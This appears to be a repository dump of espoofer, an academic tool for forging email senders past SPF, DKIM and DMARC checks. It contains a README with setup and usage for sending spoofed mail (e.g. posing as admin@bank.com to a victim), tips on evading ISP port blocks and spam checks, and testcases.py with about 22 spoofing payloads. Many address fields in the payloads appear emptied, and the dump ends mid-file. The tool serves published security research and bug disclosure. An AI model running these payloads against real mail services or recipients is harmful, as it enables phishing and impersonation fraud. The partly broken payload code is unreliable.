30 | 31 | *Latex version:* 32 | 33 | ```tex 34 | @inproceedings{chen-email, 35 | author = {Jianjun Chen and Vern Paxson and Jian Jiang}, 36 | title = {Composition Kills: A Case Study of Email Sender Authentication}, 37 | booktitle = {29th {USENIX} Security Symposium ({USENIX} Security 20)}, 38 | year = {2020}, 39 | isbn = {978-1-939133-17-5}, 40 | pages = {2183--2199}, 41 | url = {https://www.usenix.org/conference/usenixsecurity20/presentation/chen-jianjun}, 42 | publisher = {{USENIX} Association}, 43 | month = aug, 44 | } 45 | ``` 46 | 47 | *Word version:* 48 | 49 | Jianjun Chen, Vern Paxson, and Jian Jiang. "Composition kills: A case study of email sender authentication." In 29th USENIX Security Symposium (USENIX Security 20), pp. 2183-2199. 2020. 50 | 51 |

52 |
53 | 54 | ## Installation 55 | - Download this tool 56 | ``` 57 | git clone https://github.com/chenjj/espoofer 58 | ``` 59 | 60 | - Install dependencies 61 | ``` 62 | sudo pip3 install -r requirements.txt 63 | ``` 64 | > *Python version: Python 3 (**>=3.7**).* 65 | 66 | ## Usage 67 | espoofer has three work modes: *server* ('s', default mode), *client* ('c') and *manual* ('m'). In *server* mode, espoofer works like a mail server to test validation in receiving services. In *client* mode, espoofer works as an email client to test validation in sending services. *Manual* mode is used for debug purposes. 68 | 69 |

70 |
71 | Figure 2. Three types of attackers and their work modes 72 |

73 | 74 | #### Server mode 75 | To run espoofer in server mode, you need to have: 1) an IP address (`1.2.3.4`), which outgoing port 25 is not blocked by the ISP, and 2) a domain (`attack.com`). 76 | 77 | 78 | 1. Domain configuration 79 | 80 | - Set DKIM public key for `attack.com` 81 | 82 | ``` 83 | selector._domainkey.attacker.com TXT  "v=DKIM1; k=rsa; t=y; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNjwdrmp/gcbKLaGQfRZk+LJ6XOWuQXkAOa/lI1En4t4sLuWiKiL6hACqMrsKQ8XfgqN76mmx4CHWn2VqVewFh7QTvshGLywWwrAJZdQ4KTlfR/2EwAlrItndijOfr2tpZRgP0nTY6saktkhQdwrk3U0SZmG7U8L9IPj7ZwPKGvQIDAQAB" 84 | ``` 85 | 86 | - Set SPF record for `attack.com` 87 | 88 | ``` 89 | attack.com TXT "v=spf1 ip4:1.2.3.4 +all" 90 | ``` 91 | 92 | 2. Configure the tool in config.py 93 | 94 | ``` 95 | config ={ 96 | "attacker_site": b"attack.com", # attack.com 97 | "legitimate_site_address": b"admin@bank.com", # legitimate.com 98 | "victim_address": b"victim@victim.com", # victim@victim.com 99 | "case_id": b"server_a1", # server_a1 100 | } 101 | ``` 102 | 103 | You can list find the case_id of all test cases using `-l` option: 104 | 105 | ``` 106 | python3 espoofer.py -l 107 | ``` 108 | 109 | 3. Run the tool to send a spoofing email 110 | 111 | ``` 112 | python3 espoofer.py 113 | ``` 114 | 115 | You can change case_id in the config.py or use `-id` option in the command line to test different cases: 116 | 117 | ``` 118 | python3 espoofer.py -id server_a1 119 | ``` 120 | 121 | #### Client mode 122 | 123 | To run epsoofer in client mode, you need to have an account on the target email services. This attack exploits the failure of some email services to perform sufficient validation of emails received from local MUAs. For example, `attacker@gmail.com` tries to impersonate `admin@gmail.com`.  124 | 1. Configure the tool in config.py 125 | 126 | ``` 127 | config ={ 128 | "legitimate_site_address": b"admin@gmail.com",   129 | "victim_address": b"victim@victim.com", 130 | "case_id": b"client_a1", 131 | 132 | "client_mode": { 133 | "sending_server": ("smtp.gmail.com", 587),  # SMTP sending serve ip and port 134 | "username": b"attacker@gmail.com", # Your account username and password 135 | "password": b"your_passward_here", 136 | }, 137 | } 138 | ``` 139 | 140 | You can list find the case_id of all test cases using `-l` option: 141 | 142 | ``` 143 | python3 espoofer.py -l 144 | ``` 145 | 146 | > Note: `sending_server` should be the SMTP sending server address, not the receiving server address. 147 | 148 | 149 | 2. Run the tool to send a spoofing email 150 | 151 | ``` 152 | python3 espoofer.py -m c 153 | ``` 154 | 155 | You can change case_id in the config.py and run it again, or you can use `-id` option in the command line: 156 | 157 | ``` 158 | python3 espoofer.py -m c -id client_a1 159 | ``` 160 | 161 | #### Manual mode 162 | 163 | Here is an example of manual mode: 164 | 165 | ``` 166 | python3 espoofer.py -m m -helo attack.com -mfrom -rcptto -data raw_msg_here -ip 127.0.0.1 -port 25 167 | ``` 168 | 169 | ### Screenshots 170 | 171 | 1. A brief overview of test cases. 172 | 173 |

174 | 175 | 176 | 177 |

178 | 179 | ## Bugs found with this tool 180 | 181 | * Gmail.com DMARC bypass demo video, https://youtu.be/xuKZpT0rsd0 182 | * Outlook.com DMARC bypass video, https://youtu.be/IsWgAEbPaK0 183 | * Yahoo.com DMARC bypass video, https://youtu.be/DRepfStOruE 184 | * Protonmail.com DMARC bypass video, https://youtu.be/bh4_SoPniMA 185 | * CVE-2020-12272, OpenDMARC bypass bug report, https://sourceforge.net/p/opendmarc/tickets/237/ 186 | * CVE-2019-20790, OpenDMARC and pypolicyd-spf bypass bug report, https://sourceforge.net/p/opendmarc/tickets/235/ 187 | * Mail.ru DMARC bypass bug report on HackerOne, https://hackerone.com/reports/731878 188 | 189 | Welcome to send a pull request to file your bug report here. 190 | 191 | ## Q&A 192 | 193 | 1. How do I know if the email has bypassed DMARC authentication successfully? 194 | 195 | You can check it in the Authentication-results header in the raw message headers. If the header shows `dmarc=pass`, it means the email has passed the DMARC authentication.  You can check some demos video [here](https://www.youtube.com/playlist?list=PL--A-gWJV1dJ19SyhkzklMC3C8ra1kK5-). 196 | 197 | 2. Why do emails fail to send? 198 | 199 | There are several possible reasons if you fail to send an email: 1) your ISP blocks outgoing emails to port 25 to prevent spam. In this case, you need to ask for permission from the ISP; 2) the IP address is in the spam list of the target email services. In many cases, you resolve the problem here, https://www.spamhaus.org/lookup/ ;  3) some email services check if there is a PTR record for the sending IP, you may also need to set the PTR record to bypass this check; 4) the email cannot pass the format validation of the target email service, you may want to try a different test case. 200 | 201 | 3. Why the email goes to the spam folder? Any way to avoid this? 202 | 203 | Currently, espoofer focuses on bypassing SPF/DKIM/DMARC authentication and doesn't aim for spam filter bypass. But you could try to use a reputable sending IP address, domain, and benign message content to bypass the spam filter. 204 | 205 | 4. Why I send an email successfully but the email didn't show up in either inbox or spam folder? 206 | 207 | In our prior experiences, some email services filter suspicious emails silently. 208 | 209 | 5. When testing server_a5/a6, why I cannot set specical characters like "(" in the domain? 210 | 211 | You will need to set up your own authority DNS server, rather than use third-party DNS hosting services, as some DNS hosting services have restrictions on setting specical characters. See [issue](https://github.com/chenjj/espoofer/issues/2#issuecomment-686918954). 212 | 213 | ## Credits 214 | 215 | Welcome to add more test cases. 216 | 217 | 218 | 219 | 221 | -------------------------------------------------------------------------------- /testcases.py: -------------------------------------------------------------------------------- 1 | from common.common import * 2 | import config 3 | 4 | # Important note: 5 | # 6 | # For server mode, all case_id should start with 'server_'. All of attack.com, admin@legitimate.com, and victim@victim.com in thos cases will be replaced with the configured value in config.py. 7 | # 8 | # For client mode, all case_id should start with 'client_'. attacker@example.com and admin@example.com in those cases will be replaced. 9 | # 10 | 11 | test_cases = { 12 | "server_a1": { 13 | "helo": b"helo.attack.com", 14 | "mailfrom": b"", 15 | "rcptto": b"", 16 | #"dkim_para": {"d":b"attack.com", "s":b"selector", "sign_header": b"From: "}, 17 | "data": { 18 | "from_header": b"From: \r\n", 19 | "to_header": b"To: \r\n", 20 | "subject_header": b"Subject: A1: Non-existent subdomain\r\n", 21 | "body": b"Hi, this is a test message! Best wishes.\r\n", 22 | "other_headers": b"Date: " + get_date() + b"\r\n" + b'Content-Type: text/plain; charset="UTF-8"\r\nMIME-Version: 1.0\r\nMessage-ID: <1538085644648.096e3d4e-bc38-4027-b57e-' + id_generator() + b'@message-ids.attack.com>\r\nX-Email-Client: https://github.com/chenjj/espoofer\r\n\r\n', 23 | }, 24 | "description": b"Non-existent subdomains in MAIL FROM, refer to A1 attack in the paper." 25 | }, 26 | "server_a2": { 27 | "helo": b"attack.com", 28 | "mailfrom": b"<(any@legitimate.com>", 29 | "rcptto": b"", 30 | # "dkim_para": {"d":b"attack.com", "s":b"selector", "sign_header": b"From: "}, 31 | "data": { 32 | "from_header": b"From: \r\n", 33 | "to_header": b"To: \r\n", 34 | "subject_header": b"Subject: A2: empty MAIL FROM address\r\n", 35 | "body": b"Hi, this is a test message! Best wishes.\r\n", 36 | "other_headers": b"Date: " + get_date() + b"\r\n" + b'Content-Type: text/plain; charset="UTF-8"\r\nMIME-Version: 1.0\r\nMessage-ID: <1538085644648.096e3d4e-bc38-4027-b57e-' + id_generator() + b'@message-ids.attack.com>\r\nX-Email-Client: https://github.com/chenjj/espoofer\r\n\r\n', 37 | }, 38 | "description": b"Empty MAIL FROM addresses, refer to A2 attack in the paper." 39 | }, 40 | "server_a3": { 41 | "helo": b"33.attack.com", 42 | "mailfrom": b"", 43 | "rcptto": b"", 44 | "dkim_para": {"d":b"legitimate.com", "s":b"selector._domainkey.attack.com.\x00.any", "sign_header": b"From: "}, 45 | "data": { 46 | "from_header": b"From: \r\n", 47 | "to_header": b"To: \r\n", 48 | "subject_header": b"Subject: A3: NUL ambiguity\r\n", 49 | "body": b'Hi, this is a test message! Best wishes.\r\n', 50 | "other_headers": b"Date: " + get_date() + b"\r\n" + b'Content-Type: multipart/alternative; boundary="001a113db9c28077e7054ee99e9c"\r\nMIME-Version: 1.0\r\nMessage-ID: <1538085644648.096e3d4e-bc38-4027-b57e-' + id_generator() + b'@message-ids.attack.com>\r\nX-Email-Client: https://github.com/chenjj/espoofer\r\n\r\n', 51 | }, 52 | "description": b"NUL ambiguity, refer to A3 attack in the paper." 53 | }, 54 | "server_a4": { 55 | "helo": b"attack.com", 56 | "mailfrom": b"", 57 | "rcptto": b"", 58 | "dkim_para": {"d":b"legitimate.com'a.attack.com", "s":b"selector", "sign_header": b"From: "}, 59 | "data": { 60 | "from_header": b"From: \r\n", 61 | "to_header": b"To: \r\n", 62 | "subject_header": b"Subject: A4: DKIM authentication results injection using single quote\r\n", 63 | "body": b'Hi, this is a test message! Best wishes.\r\n', 64 | "other_headers": b"Date: " + get_date() + b"\r\n" + b'Content-Type: multipart/alternative; boundary="001a113db9c28077e7054ee99e9c"\r\nMIME-Version: 1.0\r\nMessage-ID: <1538085644648.096e3d4e-bc38-4027-b57e-' + id_generator() + b'@message-ids.attack.com>\r\nX-Email-Client: https://github.com/chenjj/espoofer\r\n\r\n', 65 | }, 66 | "description": b"DKIM authentication results injection using single quote, refer to A4 attack in the paper." 67 | }, 68 | "server_a5": { 69 | "helo": b"attack.com", 70 | "mailfrom": b"", 71 | "rcptto": b"", 72 | # "dkim_para": {"d":b"legitimate.com(.attack.com", "s":b"selector", "sign_header": b"From: "}, 73 | "data": { 74 | "from_header": b"From: \r\n", 75 | "to_header": b"To: \r\n", 76 | "subject_header": b"Subject: A5: SPF authentication results injection using parenthese\r\n", 77 | "body": b"Hi, this is a test message! Best wishes.\r\n", 78 | "other_headers": b"Date: " + get_date() + b"\r\n" + b'Content-Type: text/plain; charset="UTF-8"\r\nMIME-Version: 1.0\r\nMessage-ID: <1538085644648.096e3d4e-bc38-4027-b57e-' + id_generator() + b'@message-ids.attack.com>\r\nX-Email-Client: https://github.com/chenjj/espoofer\r\n\r\n', 79 | }, 80 | "description": b"SPF authentication results injection using parenthese, refer to A5 attack in the paper." 81 | }, 82 | "server_a6": { 83 | "helo": b"attack.com", 84 | "mailfrom": b"", 85 | "rcptto": b"", 86 | # "dkim_para": {"d":b"legitimate.com(.attack.com", "s":b"selector", "sign_header": b"From: "}, 87 | "data": { 88 | "from_header": b"From: \r\n", 89 | "to_header": b"To: \r\n", 90 | "subject_header": b"Subject: A6: SPF authentication results injection 2\r\n", 91 | "body": b"Hi, this is a test message! Best wishes.\r\n", 92 | "other_headers": b"Date: " + get_date() + b"\r\n" + b'Content-Type: text/plain; charset="UTF-8"\r\nMIME-Version: 1.0\r\nMessage-ID: <1538085644648.096e3d4e-bc38-4027-b57e-' + id_generator() + b'@message-ids.attack.com>\r\nX-Email-Client: https://github.com/chenjj/espoofer\r\n\r\n', 93 | }, 94 | "description": b"SPF authentication results injection 2, refer to Figure 5(f) attack in the paper." 95 | }, 96 | "server_a7": { 97 | "helo": b"attack.com", 98 | "mailfrom": b"<@legitimate.com,@any.com:'any@attack.com>", 99 | "rcptto": b"", 100 | # "dkim_para": {"d":b"legitimate.com(.attack.com", "s":b"selector", "sign_header": b"From: "}, 101 | "data": { 102 | "from_header": b"From: \r\n", 103 | "to_header": b"To: \r\n", 104 | "subject_header": b"Subject: A7: routing address in mailfrom\r\n", 105 | "body": b"Hi, this is a test message! Best wishes.\r\n", 106 | "other_headers": b"Date: " + get_date() + b"\r\n" + b'Content-Type: text/plain; charset="UTF-8"\r\nMIME-Version: 1.0\r\nMessage-ID: <1538085644648.096e3d4e-bc38-4027-b57e-' + id_generator() + b'@message-ids.attack.com>\r\nX-Email-Client: https://github.com/chenjj/espoofer\r\n\r\n', 107 | }, 108 | "description": b"Routing address in MAIL FROM, a variant of A5 attack." 109 | }, 110 | 111 | "server_a8": { 112 | "helo": b"attack.com", 113 | "mailfrom": b"", 114 | "rcptto": b"", 115 | # "dkim_para": {"d":b"legitimate.com(.attack.com", "s":b"selector", "sign_header": b"From: "}, 116 | "data": { 117 | "from_header": b"From: \r\nFrom: \r\n", 118 | "to_header": b"To: \r\n", 119 | "subject_header": b"Subject: A8: Multiple From headers\r\n", 120 | "body": b"Hi, this is a test message! Best wishes.\r\n", 121 | "other_headers": b"Date: " + get_date() + b"\r\n" + b'Content-Type: text/plain; charset="UTF-8"\r\nMIME-Version: 1.0\r\nMessage-ID: <1538085644648.096e3d4e-bc38-4027-b57e-' + id_generator() + b'@message-ids.attack.com>\r\nX-Email-Client: https://github.com/chenjj/espoofer\r\n\r\n', 122 | }, 123 | "description": b"Multiple From header, refer to Figure 6(a) in the paper." 124 | }, 125 | 126 | "server_a9": { 127 | "helo": b"attack.com", 128 | "mailfrom": b"", 129 | "rcptto": b"", 130 | # "dkim_para": {"d":b"legitimate.com(.attack.com", "s":b"selector", "sign_header": b"From: "}, 131 | "data": { 132 | "from_header": b" From: \r\nFrom: \r\n", 133 | "to_header": b"To: \r\n", 134 | "subject_header": b"Subject: A9: Multiple From headers with preceding space\r\n", 135 | "body": b"Hi, this is a test message! Best wishes.\r\n", 136 | "other_headers": b"Date: " + get_date() + b"\r\n" + b'Content-Type: text/plain; charset="UTF-8"\r\nMIME-Version: 1.0\r\nMessage-ID: <1538085644648.096e3d4e-bc38-4027-b57e-' + id_generator() + b'@message-ids.attack.com>\r\nX-Email-Client: https://github.com/chenjj/espoofer\r\n\r\n', 137 | }, 138 | "description": b"Multiple From headers with preceding space, refer to section 5.1 in the paper." 139 | }, 140 | "server_a10": { 141 | "helo": b"attack.com", 142 | "mailfrom": b"", 143 | "rcptto": b"", 144 | # "dkim_para": {"d":b"legitimate.com(.attack.com", "s":b"selector", "sign_header": b"From: "}, 145 | "data": { 146 | "from_header": b"From: \r\nFrom : \r\n", 147 | "to_header": b"To: \r\n", 148 | "subject_header": b"Subject: A10: Multiple From headers with succeeding space\r\n", 149 | "body": b"Hi, this is a test message! Best wishes.\r\n", 150 | "other_headers": b"Date: " + get_date() + b"\r\n" + b'Content-Type: text/plain; charset="UTF-8"\r\nMIME-Version: 1.0\r\nMessage-ID: <1538085644648.096e3d4e-bc38-4027-b57e-' + id_generator() + b'@message-ids.attack.com>\r\nX-Email-Client: https://github.com/chenjj/espoofer\r\n\r\n', 151 | }, 152 | "description": b"Multiple From headers with succeeding space, refer to Figure 6(c) in the paper." 153 | }, 154 | "server_a11": { 155 | "helo": b"attack.com", 156 | "mailfrom": b"", 157 | "rcptto": b"", 158 | # "dkim_para": {"d":b"legitimate.com(.attack.com", "s":b"selector", "sign_header": b"From: "}, 159 | "data": { 160 | "from_header": b"From\r\n : \r\nFrom: \r\n", 161 | "to_header": b"To: \r\n", 162 | "subject_header": b"Subject: A11: Multiple From headers with folding line\r\n", 163 | "body": b"Hi, this is a test message! Best wishes.\r\n", 164 | "other_headers": b"Date: " + get_date() + b"\r\n" + b'Content-Type: text/plain; charset="UTF-8"\r\nMIME-Version: 1.0\r\nMessage-ID: <1538085644648.096e3d4e-bc38-4027-b57e-' + id_generator() + b'@message-ids.attack.com>\r\nX-Email-Client: https://github.com/chenjj/espoofer\r\n\r\n', 165 | }, 166 | "description": b"Multiple From headers with folding line, refer to Figure 6(b) in the paper." 167 | }, 168 | "server_a12": { 169 | "helo": b"attack.com", 170 | "mailfrom": b"", 171 | "rcptto": b"", 172 | # "dkim_para": {"d":b"legitimate.com(.attack.com", "s":b"selector", "sign_header": b"From: "}, 173 | "data": { 174 | "from_header": b"From\r\n : \r\nn", 175 | "to_header": b"To: \r\n", 176 | "subject_header": b"Subject: A12: From and Sender header ambiguity\r\n", 177 | "body": b"Hi, this is a test message! Best wishes.\r\n", 178 | "other_headers": b"Date: " + get_date() + b"\r\n" + b'Sender: \r\n' + b'Content-Type: text/plain; charset="UTF-8"\r\nMIME-Version: 1.0\r\nMessage-ID: <1538085644648.096e3d4e-bc38-4027-b57e-' + id_generator() + b'@message-ids.attack.com>\r\nX-Email-Client: https://github.com/chenjj/espoofer\r\n\r\n', 179 | }, 180 | "description": b"From and Sender header ambiguity, refer to Figure 6(d) in the paper." 181 | }, 182 | "server_a13": { 183 | "helo": b"attack.com", 184 | "mailfrom": b"", 185 | "rcptto": b"", 186 | # "dkim_para": {"d":b"legitimate.com(.attack.com", "s":b"selector", "sign_header": b"From: "}, 187 | "data": { 188 | "from_header": b"From\r\n : \r\n", 189 | "to_header": b"To: \r\n", 190 | "subject_header": b"Subject: A13: From and Resent-From header ambiguity\r\n", 191 | "body": b"Hi, this is a test message! Best wishes.\r\n", 192 | "other_headers": b"Date: " + get_date() + b"\r\n" + b'Resent-From: \r\n' + b'Content-Type: text/plain; charset="UTF-8"\r\nMIME-Version: 1.0\r\nMessage-ID: <1538085644648.096e3d4e-bc38-4027-b57e-' + id_generator() + b'@message-ids.attack.com>\r\nX-Email-Client: https://github.com/chenjj/espoofer\r\n\r\n', 193 | }, 194 | "description": b"From and Resent-From header ambiguity, refer to section 5.1 in the paper." 195 | }, 196 | "server_a14": { 197 | "helo": b"attack.com", 198 | "mailfrom": b"", 199 | "rcptto": b"", 200 | # "dkim_para": {"d":b"attack.com", "s":b"selector", "sign_header": b"From: , "}, 201 | "data": { 202 | "from_header": b"From: , \r\n", 203 | "to_header": b"To: \r\n", 204 | "subject_header": b"Subject: A14: Multiple address in From header\r\n", 205 | "body": b"Hi, this is a test message! Best wishes.\r\n", 206 | "other_headers": b"Date: " + get_date() + b"\r\n" + b'Sender: \r\nContent-Type: text/plain; charset="UTF-8"\r\nMIME-Version: 1.0\r\nMessage-ID: <1538085644648.096e3d4e-bc38-4027-b57e-' + id_generator() + b'@message-ids.attack.com>\r\nX-Email-Client: https://github.com/chenjj/espoofer\r\n\r\n', 207 | }, 208 | "description": b"Multiple address in From header, refer to Figure 8(a) in the paper." 209 | }, 210 | "server_a15": { #works on yahoo_web, outlook_web 211 | "helo": b"attack.com", 212 | "mailfrom": b"", 213 | "rcptto": b"", 214 | # "dkim_para": {"d":b"legitimate.com(.attack.com", "s":b"selector", "sign_header": b"From: "}, 215 | "data": { 216 | "from_header": b"From:" + bs64encode(b"")+ b",\r\n", 217 | "to_header": b"To: \r\n", 218 | "subject_header": b"Subject: A15: Email address encoding\r\n", 219 | "body": b"Hi, this is a test message! Best wishes.\r\n", 220 | "other_headers": b"Date: " + get_date() + b"\r\n" + b'Sender: \r\nContent-Type: text/plain; charset="UTF-8"\r\nMIME-Version: 1.0\r\nMessage-ID: <1538085644648.096e3d4e-bc38-4027-b57e-' + id_generator() + b'@message-ids.attack.com>\r\nX-Email-Client: https://github.com/chenjj/espoofer\r\n\r\n', 221 | }, 222 | "description": b"Email address encoding, refer to Figure 8(b) in the paper." 223 | }, 224 | "server_a16": { 225 | "helo": b"attack.com", 226 | "mailfrom": b"", 227 | "rcptto": b"", 228 | #"dkim_para": {"d":b'legitimate.com"=(.attack.com', "s":b"selector", "sign_header": b"From: "}, 229 | "data": { 230 | "from_header": b"From: <@attack.com,@any.com:admin@legitimate.com>\r\n", 231 | "to_header": b"To: \r\n", 232 | "subject_header": b"Subject: A16: Route portion\r\n", 233 | "body": b"Hi, this is a test message! Best wishes.\r\n", 234 | "other_headers": b"Date: " + get_date() + b"\r\n" + b'Sender: \r\nContent-Type: text/plain; charset="UTF-8"\r\nMIME-Version: 1.0\r\nMessage-ID: <1538085644648.096e3d4e-bc38-4027-b57e-' + id_generator() + b'@message-ids.attack.com>\r\nX-Email-Client: https://github.com/chenjj/espoofer\r\n\r\n', 235 | }, 236 | "description": b"Route portion, refer to Figure 8(c) in the paper." 237 | }, 238 | "server_a17": { 239 | "helo": b"attack.com", 240 | "mailfrom": b"", 241 | "rcptto": b"", 242 | #"dkim_para": {"d":b'legitimate.com"=(.attack.com', "s":b"selector", "sign_header": b"From: "}, 243 | "data": { 244 | "from_header": b"From: \,\r\n", 245 | "to_header": b"To: \r\n", 246 | "subject_header": b"Subject: A17: Quoted pair\r\n", 247 | "body": b"Hi, this is a test message! Best wishes.\r\n", 248 | "other_headers": b"Date: " + get_date() + b"\r\n" + b'Sender: \r\nContent-Type: text/plain; charset="UTF-8"\r\nMIME-Version: 1.0\r\nMessage-ID: <1538085644648.096e3d4e-bc38-4027-b57e-' + id_generator() + b'@message-ids.attack.com>\r\nX-Email-Client: https://github.com/chenjj/espoofer\r\n\r\n', 249 | }, 250 | "description": b"Quoted pair, refer to Figure 8(d) in the paper." 251 | }, 252 | "server_a18": { 253 | "helo": b"attack.com", 254 | "mailfrom": b"", 255 | "rcptto": b"", 256 | #"dkim_para": {"d":b'legitimate.com"=(.attack.com', "s":b"selector", "sign_header": b"From: "}, 257 | "data": { 258 | "from_header": b"From: admin@legitimate.com,\r\n", 259 | "to_header": b"To: \r\n", 260 | "subject_header": b"Subject: A18: Specical characters precedence\r\n", 261 | "body": b"Hi, this is a test message! Best wishes.\r\n", 262 | "other_headers": b"Date: " + get_date() + b"\r\n" + b'Sender: \r\nContent-Type: text/plain; charset="UTF-8"\r\nMIME-Version: 1.0\r\nMessage-ID: <1538085644648.096e3d4e-bc38-4027-b57e-' + id_generator() + b'@message-ids.attack.com>\r\nX-Email-Client: https://github.com/chenjj/espoofer\r\n\r\n', 263 | }, 264 | "description": b"Specical characters precedence, refer to Figure 8(e) in the paper." 265 | }, 266 | "server_a19": { 267 | "helo": b"attack.com", 268 | "mailfrom": b"", 269 | "rcptto": b"", 270 | #"dkim_para": {"d":b'legitimate.com"=(.attack.com', "s":b"selector", "sign_header": b"From: "}, 271 | "data": { 272 | "from_header": b"From: admin@legitimate.com\r\n", 273 | "to_header": b"To: \r\n", 274 | "subject_header": b"Subject: A19: Display Name and real address parsing inconsistencies\r\n", 275 | "body": b"Hi, this is a test message! Best wishes.\r\n", 276 | "other_headers": b"Date: " + get_date() + b"\r\n" + b'Sender: \r\nContent-Type: text/plain; charset="UTF-8"\r\nMIME-Version: 1.0\r\nMessage-ID: <1538085644648.096e3d4e-bc38-4027-b57e-' + id_generator() + b'@message-ids.attack.com>\r\nX-Email-Client: https://github.com/chenjj/espoofer\r\n\r\n', 277 | }, 278 | "description": b"Display Name and real address parsing inconsistencies, refer to Figure 8(f) in the paper." 279 | }, 280 | 281 | 282 | 283 | "client_a1": { 284 | "helo": b"espoofer-MacBook-Pro.local", 285 | "mailfrom": b"", 286 | "rcptto": b"", 287 | # "dkim_para": {"d":b"legitimate.com(.attack.com", "s":b"selector", "sign_header": b"From: "}, 288 | "data": { 289 | "from_header": b"From: \r\nFrom: \r\n", 290 | "to_header": b"To: \r\n", 291 | "subject_header": b"Subject: client A1: Multiple From headers\r\n", 292 | "body": b"Hi, this is a test message! Best wishes.\r\n", 293 | "other_headers": b"Date: " + get_date() + b"\r\n" + b'Content-Type: text/plain; charset="UTF-8"\r\nMIME-Version: 1.0\r\nMessage-ID: <1538085644648.096e3d4e-bc38-4027-b57e-' + id_generator() + b'@message-ids.attack.com>\r\nX-Email-Client: https://github.com/chenjj/espoofer\r\n\r\n', 294 | }, 295 | "description": b"Spoofing via an email service account using multiple From headers, refer to section 6.2 in the paper." 296 | }, 297 | "client_a2": { 298 | "helo": b"espoofer-MacBook-Pro.local", 299 | "mailfrom": b"", 300 | "rcptto": b"", 301 | # "dkim_para": {"d":b"attack.com", "s":b"selector", "sign_header": b"From: , "}, 302 | "data": { 303 | "from_header": b"From: , \r\n", 304 | "to_header": b"To: \r\n", 305 | "subject_header": b"Subject: client A2: Multiple address in From header\r\n", 306 | "body": b"Hi, this is a test message! Best wishes.\r\n", 307 | "other_headers": b"Date: " + get_date() + b"\r\n" + b'Sender: \r\nContent-Type: text/plain; charset="UTF-8"\r\nMIME-Version: 1.0\r\nMessage-ID: <1538085644648.096e3d4e-bc38-4027-b57e-' + id_generator() + b'@message-ids.attack.com>\r\nX-Email-Client: https://github.com/chenjj/espoofer\r\n\r\n', 308 | }, 309 | "description": b"Spoofing via an email service account using multiple address, refer to section 6.2 in the paper." 310 | }, 311 | "client_a3": { 312 | "helo": b"espoofer-MacBook-Pro.local", 313 | "mailfrom": b"", 314 | "rcptto": b"", 315 | # "dkim_para": {"d":b"attack.com", "s":b"selector", "sign_header": b"From: , "}, 316 | "data": { 317 | "from_header": b"From: \r\n", 318 | "to_header": b"To: \r\n", 319 | "subject_header": b"Subject: client A3: Spoofing via an email service account\r\n", 320 | "body": b"Hi, this is a test message! Best wishes.\r\n", 321 | "other_headers": b"Date: " + get_date() + b"\r\n" + b'Sender: \r\nContent-Type: text/plain; charset="UTF-8"\r\nMIME-Version: 1.0\r\nMessage-ID: <1538085644648.096e3d4e-bc38-4027-b57e-' + id_generator() + b'@message-ids.attack.com>\r\nX-Email-Client: https://github.com/chenjj/espoofer\r\n\r\n', 322 | }, 323 | "description": b"Spoofing via an email service account, refer to section 6.2 in the paper." 324 | }, 325 | } 326 | -------------------------------------------------------------------------------- /dkim/__init__.py: -------------------------------------------------------------------------------- 1 | # This software is provided 'as-is', without any express or implied 2 | # warranty. In no event will the author be held liable for any damages 3 | # arising from the use of this software. 4 | # 5 | # Permission is granted to anyone to use this software for any purpose, 6 | # including commercial applications, and to alter it and redistribute it 7 | # freely, subject to the following restrictions: 8 | # 9 | # 1. The origin of this software must not be misrepresented; you must not 10 | # claim that you wrote the original software. If you use this software 11 | # in a product, an acknowledgment in the product documentation would be 12 | # appreciated but is not required. 13 | # 2. Altered source versions must be plainly marked as such, and must not be 14 | # misrepresented as being the original software. 15 | # 3. This notice may not be removed or altered from any source distribution. 16 | # 17 | # Copyright (c) 2008 Greg Hewgill http://hewgill.com 18 | # 19 | # This has been modified from the original software. 20 | # Copyright (c) 2011 William Grant 21 | # 22 | # This has been modified from the original software. 23 | # Copyright (c) 2016 Google, Inc. 24 | # Contact: Brandon Long 25 | # 26 | # This has been modified from the original software. 27 | # Copyright (c) 2016, 2017, 2018, 2019 Scott Kitterman 28 | # 29 | # This has been modified from the original software. 30 | # Copyright (c) 2017 Valimail Inc 31 | # Contact: Gene Shuman 32 | # 33 | 34 | 35 | import base64 36 | import hashlib 37 | import logging 38 | import re 39 | import time 40 | 41 | # only needed for arc 42 | try: 43 | from authres import AuthenticationResultsHeader 44 | except ImportError: 45 | pass 46 | 47 | # only needed for ed25519 signing/verification 48 | try: 49 | import nacl.signing 50 | import nacl.encoding 51 | except ImportError: 52 | pass 53 | 54 | from dkim.canonicalization import ( 55 | CanonicalizationPolicy, 56 | InvalidCanonicalizationPolicyError, 57 | ) 58 | from dkim.canonicalization import Relaxed as RelaxedCanonicalization 59 | 60 | from dkim.crypto import ( 61 | DigestTooLargeError, 62 | HASH_ALGORITHMS, 63 | ARC_HASH_ALGORITHMS, 64 | parse_pem_private_key, 65 | parse_public_key, 66 | RSASSA_PKCS1_v1_5_sign, 67 | RSASSA_PKCS1_v1_5_verify, 68 | UnparsableKeyError, 69 | ) 70 | try: 71 | from dkim.dnsplug import get_txt 72 | except ImportError: 73 | def get_txt(s): 74 | raise RuntimeError("DKIM.verify requires DNS or dnspython module") 75 | from dkim.util import ( 76 | get_default_logger, 77 | InvalidTagValueList, 78 | parse_tag_value, 79 | ) 80 | 81 | __all__ = [ 82 | "DKIMException", 83 | "InternalError", 84 | "KeyFormatError", 85 | "MessageFormatError", 86 | "ParameterError", 87 | "ValidationError", 88 | "AuthresNotFoundError", 89 | "NaClNotFoundError", 90 | "CV_Pass", 91 | "CV_Fail", 92 | "CV_None", 93 | "Relaxed", 94 | "Simple", 95 | "DKIM", 96 | "ARC", 97 | "sign", 98 | "verify", 99 | "dkim_sign", 100 | "dkim_verify", 101 | "arc_sign", 102 | "arc_verify", 103 | ] 104 | 105 | Relaxed = b'relaxed' # for clients passing dkim.Relaxed 106 | Simple = b'simple' # for clients passing dkim.Simple 107 | 108 | # for ARC 109 | CV_Pass = b'pass' 110 | CV_Fail = b'fail' 111 | CV_None = b'none' 112 | 113 | 114 | class HashThrough(object): 115 | def __init__(self, hasher, debug=False): 116 | self.data = [] 117 | self.hasher = hasher 118 | self.name = hasher.name 119 | self.debug = debug 120 | 121 | def update(self, data): 122 | if self.debug: 123 | self.data.append(data) 124 | return self.hasher.update(data) 125 | 126 | def digest(self): 127 | return self.hasher.digest() 128 | 129 | def hexdigest(self): 130 | return self.hasher.hexdigest() 131 | 132 | def hashed(self): 133 | return b''.join(self.data) 134 | 135 | 136 | def bitsize(x): 137 | """Return size of long in bits.""" 138 | return len(bin(x)) - 2 139 | 140 | 141 | class DKIMException(Exception): 142 | """Base class for 